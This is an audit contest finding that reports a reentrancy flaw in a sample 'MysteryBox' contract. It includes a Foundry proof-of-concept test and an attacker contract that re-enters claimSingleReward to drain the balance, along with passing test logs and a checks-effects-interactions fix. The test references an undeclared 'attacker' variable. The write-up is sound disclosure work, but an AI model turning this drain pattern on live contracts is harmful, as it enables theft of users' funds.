Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy Vulnerability in claimSingleReward and will allow attacker to drain funds

Summary

There is a reentrancy vulnerability in claimSingleReward function and an attacker can use this to get all the funds available in the contract.

Vulnerability Details

https://github.com/Cyfrin/2024-09-mystery-box/blob/281a3e35761a171ba134e574473565a1afb56b68/src/MysteryBox.sol#L92

Impact

This function allows to withdraw the amount and then delete the record.

Tools Used

contract MysteryBoxTest is Test {
MysteryBox public mysteryBox;
address public owner;
address public user1;
address public user2;
function setUp() public {
owner = makeAddr("owner");
vm.deal(owner, 0.1 ether);
user1 = address(0x1);
user2 = address(0x2);
vm.prank(owner);
mysteryBox = (new MysteryBox){value: 0.1 ether}();
}
function testReentrancyExploit() public {
vm.deal(user1, 0.5 ether);
for (uint256 i = 0; i < 5; i++) {
vm.prank(user1);
mysteryBox.buyBox{value: 0.1 ether}();
vm.prank(user1);
mysteryBox.openBox();
}
ReentrancyAttacker attackerContract = new ReentrancyAttacker(address(mysteryBox));
vm.deal(address(attackerContract), 0.1 ether);
console.log("MysteryBox Balance Before Attack:", address(mysteryBox).balance);
console.log("Attacker Balance Before Attack:", address(attackerContract).balance);
vm.warp(666);
vm.prank(address(attacker));
attackerContract.attack();
console.log("MysteryBox Balance After:", address(mysteryBox).balance);
console.log("Attacker Balance Before Attack:", address(attackerContract).balance);
assertEq(address(mysteryBox).balance, 0);
}
}
contract ReentrancyAttacker {
MysteryBox mysteryBox;
address owner;
constructor(address _mysteryBox) {
mysteryBox = MysteryBox(_mysteryBox);
owner = msg.sender;
}
function attack() public {
mysteryBox.buyBox{value: 0.1 ether}();
mysteryBox.openBox();
mysteryBox.claimSingleReward(0);
}
receive() external payable {
if (address(mysteryBox).balance >= 0.1 ether) {
mysteryBox.claimSingleReward(0);
}
}
fallback() external payable {}
}
forge test --match-test testReentrancyExploit -vvv\
\[⠊] Compiling...\
No files changed, compilation skipped
Ran 1 test for test/TestMysteryBox.t.sol:MysteryBoxTest\
\[PASS] testReentrancyExploit() (gas: 538149)\
Logs:\
MysteryBox Balance Before Attack: 600000000000000000\
Attacker Balance Before Attack: 100000000000000000\
MysteryBox Balance After: 0\
Attacker Balance Before Attack: 700000000000000000

Recommendations

Use any library to avoid reentrancy or use CEI checks effects interactions to avoid reentrancy.

using CEI, update the states before transfer of any ether.

Updates

Appeal created

inallhonesty Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

`claimSingleReward` reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.